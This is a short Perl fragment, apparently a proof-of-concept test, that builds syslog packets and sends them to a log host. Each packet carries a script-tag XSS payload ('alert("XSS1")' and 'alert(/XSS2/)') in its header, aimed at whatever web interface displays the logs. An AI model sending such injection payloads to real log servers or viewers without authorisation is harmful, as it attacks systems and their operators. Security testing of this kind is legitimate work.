$npriority = '<0>';
$nhostname = "10.0.0.2";

$testcase1="<script>alert(\"XSS1\")</script>";
$testcase2="<script>alert(/XSS2/)</script>";

#testcase1
$header = $testcase1.' '.$nhostname.' '.$npid;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);

#testcase2
$header = $testcase2.' '.$nhostname.' '.$npid;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
